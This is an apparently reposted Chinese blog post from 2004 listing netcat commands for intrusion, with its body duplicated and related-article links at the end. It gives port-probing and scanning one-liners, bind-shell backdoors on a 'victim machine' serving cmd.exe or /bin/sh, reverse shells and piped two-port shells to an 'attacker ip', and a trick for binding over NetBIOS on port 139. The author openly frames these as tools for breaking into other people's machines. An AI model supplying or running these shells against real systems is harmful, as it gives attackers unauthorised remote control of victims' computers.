NC常用的使用命令
2004-09-14 04:50
429 查看
本人对NC也不怎么熟悉,只知道几个命令的功能。
端口的刺探:
nc -vv ip port
RIVER [192.168.0.198] 19190 (?) open //显示是否开放open
3.2.扫描器
nc -vv -w 5 ip port-port port
nc -vv -z ip port-port port
这样扫描会留下大量的痕迹,在没扫描器的时候使用。 :)
后门
victim machine: victim(受害者) machine(机器)呵呵我E文不好,标出来自己好认。
nc -l -p port -e cmd.exe //win2000
nc -l -p port -e /bin/sh //unix,linux
attacker machine: //攻击者的机器.
nc ip -p port //连接victim_IP,然后得到一个shell。
反向连接
nc -vv -l -p port
victim machine:
nc -e cmd.exe attacker ip -p port
nc -e /bin/sh attacker ip -p portattacker machine:
nc -vv -l -p port1 /*用于输入*/
nc -vv -l -p prot2 /*用于显示*/
victim machine:
nc attacker_ip port1 | cmd.exe | nc attacker_ip port2
nc attacker_ip port1 | /bin/sh | nc attacker_ip port2 (linux系统使用,不过我还没有入侵过linux系统,linux学的太差了)139要加参数-s(nc.exe -L -p 139 -d -e cmd.exe -s 对方机器IP)
这样就可以保证nc.exe优先于NETBIOS。
端口数据抓包.
nc -vv -w 2 -o test.txt www.xfocus.net 80 21-15
?
?
?
端口的刺探:
nc -vv ip port
RIVER [192.168.0.198] 19190 (?) open //显示是否开放open
3.2.扫描器
nc -vv -w 5 ip port-port port
nc -vv -z ip port-port port
这样扫描会留下大量的痕迹,在没扫描器的时候使用。 :)
后门
victim machine: victim(受害者) machine(机器)呵呵我E文不好,标出来自己好认。
nc -l -p port -e cmd.exe //win2000
nc -l -p port -e /bin/sh //unix,linux
attacker machine: //攻击者的机器.
nc ip -p port //连接victim_IP,然后得到一个shell。
反向连接
nc -vv -l -p port
victim machine:
nc -e cmd.exe attacker ip -p port
nc -e /bin/sh attacker ip -p portattacker machine:
nc -vv -l -p port1 /*用于输入*/
nc -vv -l -p prot2 /*用于显示*/
victim machine:
nc attacker_ip port1 | cmd.exe | nc attacker_ip port2
nc attacker_ip port1 | /bin/sh | nc attacker_ip port2 (linux系统使用,不过我还没有入侵过linux系统,linux学的太差了)139要加参数-s(nc.exe -L -p 139 -d -e cmd.exe -s 对方机器IP)
这样就可以保证nc.exe优先于NETBIOS。
端口数据抓包.
nc -vv -w 2 -o test.txt www.xfocus.net 80 21-15
?
?
?
相关文章推荐
- 常用UNIX命令使用基础
- [SQL基础]SQL常用命令使用方法
- GCC使用手册及常用命令行
- GCC使用手册与常用命令
- 常用网络命令使用技巧详解续编1
- GCC使用手册与常用命令
- 使用批处理文件——常用命令
- linux学习使用总结-linux系统的安装和与windows双系统共享,linux常用的基本命令,今天贴在这里和大家分享
- Windows常用网络命令(五)Tracert、Route 与 NBTStat的使用技巧
- 常用网络命令使用技巧详解续编3
- Windows操作系统 常用网络命令使用技巧详解
- Windows操作系统常用网络命令使用技巧详解
- GCC使用手册及常用命令行
- 常用网络命令使用技巧详解续编2
- DOS常用命令的使用
- sql常用命令使用方法
- SQL常用命令使用方法
- sqlplus常用命令使用
- 常用网络命令(备忘使用)
- Solaris下的常用命令和使用方法